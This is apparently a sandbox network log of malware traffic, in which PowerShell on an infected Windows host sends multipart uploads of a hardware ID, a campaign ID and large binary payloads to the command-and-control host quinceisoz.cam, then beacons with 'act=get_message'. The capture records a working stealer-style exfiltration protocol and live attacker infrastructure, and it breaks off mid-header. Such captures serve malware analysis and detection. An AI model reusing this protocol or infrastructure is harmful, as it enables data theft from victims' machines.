2025-01-08 12:56:37 UTC	1135	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:56:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kur2ir6c6q7jcmpu2q7jk2d31f; expires=Sun, 04 May 2025 06:43:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JRP9%2F67jXrsFNbuOdTKpK2ZGdeXekCpdsEUBJSUu3Z6eL%2F6FP6BNYLmdj%2Bvd0huaORmLOaZUgHGtn%2B%2BqkIt00Gzh4VDYA49QziG%2FzzbG9yanqfrhfaQSsyl7OJ3YyqCiag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec5940bc42727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1992&min_rtt=1980&rtt_var=767&sent=10&recv=20&lost=0&retrans=0&sent_bytes=3043&recv_bytes=15951&delivery_rate=2105769&cwnd=235&unsent_bytes=0&cid=bb3dfd5763d66f57&ts=534&x=0"
2025-01-08 12:56:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 12:56:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49981	104.21.112.1	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:38 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=24HSIUEZS9V3JT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20377 Host: quinceisoz.cam
2025-01-08 12:56:38 UTC	15331	OUT	Data Raw: 2d 2d 32 34 48 53 49 55 45 5a 53 39 56 33 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 31 35 31 30 43 38 32 42 32 35 42 34 43 42 31 38 34 46 34 44 30 42 37 30 45 42 34 32 43 31 0d 0a 2d 2d 32 34 48 53 49 55 45 5a 53 39 56 33 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 34 48 53 49 55 45 5a 53 39 56 33 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 77 65 62 35 35 0d 0a 2d 2d 32 34 48 53 49 55 45 5a Data Ascii: --24HSIUEZS9V3JTContent-Disposition: form-data; name="hwid"3B1510C82B25B4CB184F4D0B70EB42C1--24HSIUEZS9V3JTContent-Disposition: form-data; name="pid"3--24HSIUEZS9V3JTContent-Disposition: form-data; name="lid"WG6I6S--web55--24HSIUEZ
2025-01-08 12:56:38 UTC	5046	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2025-01-08 12:56:38 UTC	1137	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:56:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cmf4ke065ajup256hhtg7hvtqp; expires=Sun, 04 May 2025 06:43:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZQyM77x0u3ukd3cZVYv%2BWZqpNoEV4dA0gZ1MIITqK1zHFX69hbbbBPpQ71COEFBt%2Fb1fU%2Bo5nE8sHzb4WZwyl5jS%2FDhVYy%2Bs9GOJW%2F2FbJtI2Xt35%2Bsy0kIGWxJsbTWlxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec59474aaa43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1558&min_rtt=1547&rtt_var=603&sent=12&recv=25&lost=0&retrans=0&sent_bytes=3044&recv_bytes=21333&delivery_rate=2673992&cwnd=204&unsent_bytes=0&cid=8e070102f759cc52&ts=643&x=0"
2025-01-08 12:56:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 12:56:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49982	104.21.112.1	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:39 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X6R860G69PEVMY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1210 Host: quinceisoz.cam
2025-01-08 12:56:39 UTC	1210	OUT	Data Raw: 2d 2d 58 36 52 38 36 30 47 36 39 50 45 56 4d 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 31 35 31 30 43 38 32 42 32 35 42 34 43 42 31 38 34 46 34 44 30 42 37 30 45 42 34 32 43 31 0d 0a 2d 2d 58 36 52 38 36 30 47 36 39 50 45 56 4d 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 36 52 38 36 30 47 36 39 50 45 56 4d 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 77 65 62 35 35 0d 0a 2d 2d 58 36 52 38 36 30 47 36 Data Ascii: --X6R860G69PEVMYContent-Disposition: form-data; name="hwid"3B1510C82B25B4CB184F4D0B70EB42C1--X6R860G69PEVMYContent-Disposition: form-data; name="pid"1--X6R860G69PEVMYContent-Disposition: form-data; name="lid"WG6I6S--web55--X6R860G6
2025-01-08 12:56:39 UTC	1124	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:56:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vl4evfrup0akccj8drebluijkj; expires=Sun, 04 May 2025 06:43:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ydcPSldgU14%2BjkbQppu7MKDN3vhTZh4rUWSsGsavMfqTlfc9oBRv1YgbzB%2BcYIQov09O3nMVbMmwjlbdDBDUeRJasZbgDSRB7TRI91rUixUhssxx7RfKJw0NUNUzukZOlQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec594f884c0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1698&rtt_var=656&sent=6&recv=8&lost=0&retrans=0&sent_bytes=3044&recv_bytes=2121&delivery_rate=2579505&cwnd=222&unsent_bytes=0&cid=bea4a418744965bd&ts=443&x=0"
2025-01-08 12:56:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 12:56:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49983	104.21.112.1	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:40 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=95TPMI7T1E56 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585408 Host: quinceisoz.cam
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: 2d 2d 39 35 54 50 4d 49 37 54 31 45 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 31 35 31 30 43 38 32 42 32 35 42 34 43 42 31 38 34 46 34 44 30 42 37 30 45 42 34 32 43 31 0d 0a 2d 2d 39 35 54 50 4d 49 37 54 31 45 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 35 54 50 4d 49 37 54 31 45 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 57 47 36 49 36 53 2d 2d 77 65 62 35 35 0d 0a 2d 2d 39 35 54 50 4d 49 37 54 31 45 35 36 0d 0a Data Ascii: --95TPMI7T1E56Content-Disposition: form-data; name="hwid"3B1510C82B25B4CB184F4D0B70EB42C1--95TPMI7T1E56Content-Disposition: form-data; name="pid"1--95TPMI7T1E56Content-Disposition: form-data; name="lid"WG6I6S--web55--95TPMI7T1E56
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: fd 58 82 fb 8f 9e be a8 e1 d8 c6 7d 98 5a 28 9f c1 dd ac 96 e9 c6 6b 2d c7 f0 c2 95 0a 83 4c f5 a9 b7 a5 80 32 39 ae 75 bb a2 25 d3 7a e0 c4 6a ce d9 60 6a 2d 13 0b ff e4 f8 cc 1c 2c 1f ae d9 8b 83 0b 6b aa bb aa ca 17 7f 1c 06 27 5b 0e f7 99 f6 14 5c 9d 79 75 ac ff ff 6f 03 b0 4f 2c f1 80 6f 83 67 b1 10 b7 b1 73 97 6e 31 e2 f0 37 58 5c 96 d7 fe bd c3 32 c0 1e 68 76 b8 80 52 34 68 24 93 7b 74 80 57 13 17 7c 80 a1 5b a7 8f c6 7a 27 33 0b 75 fc f6 a2 b6 1f 56 af 9c e7 82 2a 2d c2 0e e4 fe 2e 5d ca 74 19 f0 fe 98 41 e5 65 01 c0 bf d3 6d ae c5 67 98 2e 36 57 a7 c6 a4 f2 63 9e 6c 14 26 42 6f fa 95 c6 79 f3 2f 21 0c 35 bb 11 2e fe 29 a0 b9 7d 36 50 ff 81 81 cb 92 69 aa 37 66 5a ad 0f 9e e2 ea 2a 2f c0 c2 88 14 2b 2c 39 90 f6 72 9f d7 2e 92 5f 55 4b ce 94 93 d6 Data Ascii: X}Z(k-L29u%zj`j-,k'[\yuoO,ogsn17X\2hvR4h${tW\|[z'3uV-.]tAemg.6Wcl&Boy/!5.)}6Pi7fZ/+,9r._UK
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: cf b6 88 d7 c1 63 85 c1 9d ab 50 76 63 a8 33 7c 6c 7c b2 18 11 78 2c a1 c3 36 4d d9 19 e2 ae 83 a1 ee bb 89 c2 41 ca 6d 2d 79 48 8d 5d d6 0b b5 3a f7 af d9 65 ae bf 22 2b 9e 8b d3 4e 09 52 fd 36 a0 b1 9d a5 5a 9f e0 ec cc 23 5b 64 dd 6b 1f d3 94 2d 5d 40 5f a4 00 36 12 e3 55 fa d8 6a 41 d8 90 42 d1 ae ba 6d ae ef d4 d1 21 72 bf c1 a9 0e 42 85 6f fe d7 9a 98 9b d2 d6 e8 2f cc df f7 68 e8 79 79 a1 e2 2a 9d 6e 39 7c 9d e7 e4 1d 86 b2 22 78 76 82 4b aa 60 47 df 04 e6 de 45 f5 9a 7f 0a 82 15 b0 b2 42 ad 52 91 88 0e 8b d4 4f 47 cf 1b 76 af b9 5c 8d e0 83 18 77 ae 1d a4 f2 6e 5d d9 49 0d d1 a8 70 9e b7 65 16 d0 16 cf b1 98 51 02 15 38 99 40 c6 ce b2 55 72 c5 1f 7f e7 06 8a 95 67 5f 07 f8 c9 80 ce 8d fe 01 61 2b fb 5f 6d 5a 13 52 56 15 8e 25 b1 84 19 bd b4 be bf Data Ascii: cPvc3\|l\|x,6MAm-yH]:e"+NR6Z#[dk-]@_6UjABm!rBo/hyy*n9\|"xvK`GEBROGv\wn]IpeQ8@Urg_a+_mZRV%
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: 14 58 9e df 4f 4b 9a 3a b1 7b 6e a1 5e ce 2c a1 72 ec 16 29 85 56 b5 07 0c 3b 07 6d bf 5f f5 5b 09 c9 c0 17 04 c7 ae 1e 65 2f 24 cf 98 0c 10 29 b2 3c 86 cd 77 df 68 e2 18 b3 5f 76 7b d5 ea a5 04 56 41 a8 db c1 8e 02 45 7f 70 70 a2 ac c4 72 7f ce f8 ba d4 c2 d9 f1 aa e4 7e 34 e0 cc 05 d9 ad 53 d7 5a f4 6d 25 54 be d5 51 b8 f9 eb de 13 df 58 a0 41 8d 39 b7 ec ab d0 e7 76 bf 8f c2 1a c5 c0 49 cb f7 1e a7 3e 13 e7 ad 5e de 65 b5 c5 9c 37 e2 49 ba 38 41 97 0b a6 ee 0e 70 49 d2 02 eb 9a 51 ca 39 56 17 58 9b cf 58 d6 3a 3b 50 80 64 29 0d de ac 8b 7b 01 ce ba 88 ba fb fa 8f 57 29 42 b0 4f d4 7a b0 32 db 59 8f 0b 88 0e 33 5c eb 83 9a 65 b3 50 9e 72 7d 41 53 7a 96 72 55 37 37 35 00 77 df 29 e1 39 2c 08 e7 15 3c 64 57 3c b2 3c 26 81 86 bd 3b 06 74 fd 2a 89 a8 68 e6 Data Ascii: XOK:{n^,r)V;m_[e/$)<wh_v{VAEppr~4SZm%TQXA9vI>^e7I8ApIQ9VXX:;Pd){W)BOz2Y3\ePr}ASzrU775w)9,<dW<<&;t*h
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: 3d 05 a0 40 80 2c c8 00 1c 80 1f db 31 19 89 46 7c 4a 24 98 f7 83 10 95 ca 41 76 2a 3c a2 6e 40 e7 59 5e 0f 87 81 7e 4f f0 cf b5 f8 0c 71 25 65 81 78 46 4b 75 55 8b 4e 0a 04 4b 41 07 6f b3 7d d0 e0 e6 32 a2 75 db 91 b2 08 bf 33 1f 40 e1 28 72 a0 80 fe ba e2 4e 1c 62 e7 7a aa ab 0b 7a 14 31 0b 05 25 ea ca ab ae 8d ba 06 db 8d 0b 02 16 9e 4f 02 3e 88 fc 2c a4 f3 b6 20 62 c0 a6 3c 76 80 e1 d2 50 f2 d4 f4 f9 31 87 0c 48 c2 48 5c fa ac 82 fc b1 e2 7a 09 44 2a 44 b3 6e c8 24 c2 71 a9 67 7b 83 4a d5 64 55 b1 90 40 cc 25 33 fd d7 b3 ce 99 2a b2 a1 e1 fe 93 28 8b 43 62 a7 cd 8c ad 8c f7 68 b0 b6 0a 25 e9 29 6a 60 ff 70 a3 eb d6 9f 22 4a 8d 7e dd 03 6e be 3f 90 4b a3 de f8 46 9b 64 88 d6 b6 d6 84 a0 e1 26 01 cc 5b 74 81 21 46 62 3b ad ad 38 47 09 fa 25 46 21 1f ab Data Ascii: =@,1F\|J$Av<n@Y^~Oq%exFKuUNKAo}2u3@(rNbzz1%O>, b<vP1HH\zDDn$qg{JdU@%3*(Cbh%)j`p"J~n?KFd&[t!Fb;8G%F!
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: ea 9d bd 86 01 95 ff a2 a9 c9 1a 84 7a 08 68 61 37 3b f1 a7 83 8a b3 1f f9 b9 07 1d ef 2d 18 f1 e5 5f 59 5f 18 5a 78 fd a2 59 6f e5 5c 61 60 c7 23 97 ef 9f 31 19 be 47 29 92 39 d6 eb ea ad 8f 8c 59 5a 1c 11 1b 67 30 16 18 c7 94 f9 80 e1 9c bf 30 40 4c 11 07 d3 c4 02 3e 7f ce a2 ca 8d 8a 85 b1 e9 ba c4 d0 04 e4 d2 67 ef ed 59 66 a5 47 62 9c 36 9a 1a be 6c 03 ad ea 53 43 a9 14 40 3b 32 98 a7 6c 42 26 df cc 7d c8 f9 a2 04 f5 55 49 e0 e5 21 d0 3d 75 8e 7e 60 a0 d8 e9 fa 29 06 ac 9c e1 f8 f8 c0 2c 2c 6d 64 90 6e b4 40 69 61 f4 ab 8e 72 64 07 21 e6 0c 04 dc be 9c 7c 03 4b f9 fa e4 a7 36 2a fc ac a9 5d 58 58 56 d6 27 13 41 9a 25 fc 0a 51 54 6c 70 a9 d5 00 82 2e 2f 46 d6 8d a4 04 e0 f2 45 bc 9e 13 e4 c8 45 a7 c3 b9 80 d2 e4 0a f5 c2 f8 6e a4 7c 55 00 23 ff 8a b8 Data Ascii: zha7;-_Y_ZxYo\a`#1G)9YZg00@L>gYfGb6lSC@;2lB&}UI!=u~`),,mdn@iard!\|K6*]XXV'A%QTlp./FEEn\|U#
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: 0d 31 79 e1 45 cc 56 ee 8a 79 1c 35 ae 66 6d 35 4e 67 7e 83 2e 80 3d 7c 32 49 a2 0a 9f 1f d7 44 f4 65 0b 70 4d 9f 3a 83 21 10 a4 a1 b4 3a 8a 5c b6 d0 ea ed af ca 32 b0 21 77 e6 12 26 4d cf 18 43 ce 82 ba cb 98 8a e0 32 59 fc d5 82 b1 31 de 31 55 0b 25 b2 3c a5 e7 0e ae 42 00 31 0b b1 04 c0 f5 18 3e fa 59 1e e4 45 d1 b0 0c 8b e0 b8 33 04 54 98 22 af d7 b1 ea 93 f3 a6 f0 ff 98 d4 4c 88 3a 34 73 f8 a7 cc a8 c2 64 c1 22 7f 3e ee 4f 88 d1 fd a2 9e 2e 23 ea ff 9a 57 bd 77 dd 2e 27 e0 2e 3a e2 37 6e db e4 7f 8d 3a f1 a4 10 15 11 af fc 70 5d 6f 9a 26 05 91 0f c1 d5 8e c0 48 41 90 b2 3b 06 d9 f1 ff f8 42 d7 79 09 cd df 3d 2d ba e4 06 1f 5e a3 52 c3 9e 89 d7 44 be ae e7 02 4a ab 6d 70 ea c6 7c 13 c9 da 70 ff 27 3f 3c b2 6a e9 31 8f 62 6d 28 5d 8f aa 26 ec e6 59 87 Data Ascii: 1yEVy5fm5Ng~.=\|2IDepM:!:\2!w&MC2Y11U%<B1>YE3T"L:4sd">O.#Ww.'.:7n:p]o&HA;By=-^RDJmp\|p'?<j1bm(]&Y
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: 07 11 d7 9d 05 a2 ff 6a f7 48 8f b2 a0 f8 67 55 f9 1b 7d ba 7b ff d6 48 0f e5 da 65 60 08 6a 0a 5e fc e7 6d f6 d5 51 83 cf 58 5c 64 5e 12 a4 30 15 2c b7 76 34 bf 3b 8c 13 97 30 df bb a2 4e d9 d5 6f ac a4 12 c7 8f b0 76 f8 d2 16 18 f8 9d bc 05 3f 75 26 7c a7 1e 4c 3d 94 42 63 8d ba a8 af f4 4c bc 4a 07 4d 1f 3b ee ef 9e 1b 99 98 cc ab 59 a1 cc a6 b2 6b d3 23 59 25 a3 01 4c c5 74 cf 21 b6 74 dc 6e 38 22 bf b4 ef 91 3f 63 d0 61 de 9e 0a 5f 96 72 ef 4c f6 d4 ad 5c 90 b5 75 da 8b ff 42 a9 b6 f2 b1 a6 0d cd 0c 7f 80 c5 6d 73 6e 6d 5d 2e 7f a0 2b 59 36 37 ba b9 db 74 a8 f2 85 9d 9e 68 95 e8 ec b7 8d d1 aa 85 64 66 57 55 9b 17 ab 91 cd 73 74 3c 68 77 32 55 64 3b 23 e3 d1 82 6f 77 ff c4 84 8e 76 f3 2f 6c 73 d3 a1 41 5e ba fa df cd d5 cd bc 44 ee 49 85 83 5f b2 31 Data Ascii: jHgU}{He`j^mQX\d^0,v4;0Nov?u&\|L=BcLJM;Yk#Y%Lt!tn8"?ca_rL\uBmsnm].+Y67thdfWUst<hw2Ud;#owv/lsA^DI_1
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: a7 4b 1b 25 2c 34 c9 32 38 14 b9 96 a3 8d 96 d4 00 b2 f8 4b e4 98 cd 0b 32 e4 11 86 c4 d2 af 1b b9 f3 99 e1 a5 37 2e 9f 24 af 44 89 87 7b e5 a6 9b 84 89 43 63 2c 83 38 5c 34 25 ff 10 5c 34 61 ac 50 15 19 9c 0a b9 76 3d cb 1f 0c 1d f8 01 a9 29 b4 d7 dd 2b 60 d3 cf a8 c7 04 12 6b 68 cd 50 36 c3 5c 1a 8e 40 f1 0a 13 6b 67 1a 1e 87 72 4f 7e f2 ee 43 a5 46 c0 ee ec 0e 6b b5 cc 6a 45 76 be 85 c5 4a a4 0d cc 05 be af 35 1c 40 44 38 da 06 3c df 4b f3 d8 3c 4b e2 fa 2e 9d 7c d4 e0 b8 06 3d 4b 1c 8e 0c d2 fe a1 26 ba b6 63 7f 7b e5 a4 58 bb d1 bd cb 59 4c 7b fe 8f 8e 98 d0 54 1c a5 d0 76 24 24 17 f3 62 a0 c2 c0 83 e7 e9 85 cb dc 93 81 ee 35 38 fb 88 83 ec 94 14 4e f4 d2 53 88 76 6a e2 14 b5 5a bd 8f d0 45 19 96 d0 e0 e0 57 f4 fd 2b 76 43 5a 95 25 73 2b 67 57 f4 f4 Data Ascii: K%,428K27.$D{Cc,8\4%\4aPv=)+`khP6\@kgrO~CFkjEvJ5@D8<K<K.\|=K&c{XYL{Tv$$b58NSvjZEW+vCZ%s+gW
2025-01-08 12:56:40 UTC	15331	OUT	Data Raw: be 1d e8 b2 2f ef cd 5f 89 bd 0f 37 74 a8 93 a3 60 5c 9c 8e 1c c1 cf ee 5d 3f 96 88 8b e9 12 fa fd 89 6d 3d e1 e4 c2 7e 19 e8 78 15 ae d9 b9 cb 09 0e 87 a3 65 c4 04 36 82 1b 58 aa 52 59 41 7f fe a5 3b 60 69 0b 0d a9 5c 09 61 e8 f9 db 74 84 ff de 7d b3 e6 a2 44 9f 87 98 43 f6 0e 25 b9 0a c5 7b 6a cf 07 34 b4 b1 bd c1 50 fc cd fe 13 d2 cb d4 6d 19 fc f1 ba d5 0e 06 c3 6d 74 82 69 ce 59 01 7b 99 c8 a9 30 85 bb 62 ea 90 ac 7d 70 e7 90 95 d6 3c 9b 7e 88 1b 7f 99 fd 9e 5f 8c e7 13 39 c0 e0 27 f7 84 28 52 8b e6 6d f0 62 b3 d2 cb 66 70 08 ec ff b0 45 ed ca d5 b5 6f 87 e1 bd 0a c4 2e 6d d9 44 55 c3 1c 74 e7 eb be 04 2f 07 13 98 9b eb 7d 1e 0a e0 b2 bb 7c 08 a7 98 d1 b5 5e 13 34 ce 4f 74 12 ae 04 d7 da e0 9d cd be 41 a0 ae 2c cd 5f 75 24 ac b1 96 5a 45 1f 45 3b 5f Data Ascii: /_7t`\]?m=~xe6XRYA;`i\at}DC%{j4PmmtiY{0b}p<~_9'(RmbfpEo.mDUt/}\|^4OtA,_u$ZEE;_
2025-01-08 12:56:42 UTC	1139	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:56:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=47388kfumgtq6qlf3pjrvdqadt; expires=Sun, 04 May 2025 06:43:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tuQ%2FUT2ig6%2BTVk9nEDcghTElIT6RkvFaGwtLdPlES%2BywznERZkhKGVFiFaX8PB6kXtOIk8S%2BObg0SGr%2FAvSrjLSWBpCrYpU%2FEwhgd4ap2iWywrP1zRf7yZPkhTX2CtgWTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec5957687d0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1611&rtt_var=608&sent=291&recv=605&lost=0&retrans=0&sent_bytes=3044&recv_bytes=587991&delivery_rate=2690417&cwnd=222&unsent_bytes=0&cid=aef5a3ff2a9ab79c&ts=1644&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49984	104.21.112.1	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:42 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: quinceisoz.cam
2025-01-08 12:56:42 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 57 47 36 49 36 53 2d 2d 77 65 62 35 35 26 6a 3d 26 68 77 69 64 3d 33 42 31 35 31 30 43 38 32 42 32 35 42 34 43 42 31 38 34 46 34 44 30 42 37 30 45 42 34 32 43 31 Data Ascii: act=get_message&ver=4.0&lid=WG6I6S--web55&j=&hwid=3B1510C82B25B4CB184F4D0B70EB42C1
2025-01-08 12:56:43 UTC	1124	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 12:56:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rmcqc92o41jfu2j2u4tum35od7; expires=Sun, 04 May 2025 06:43:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 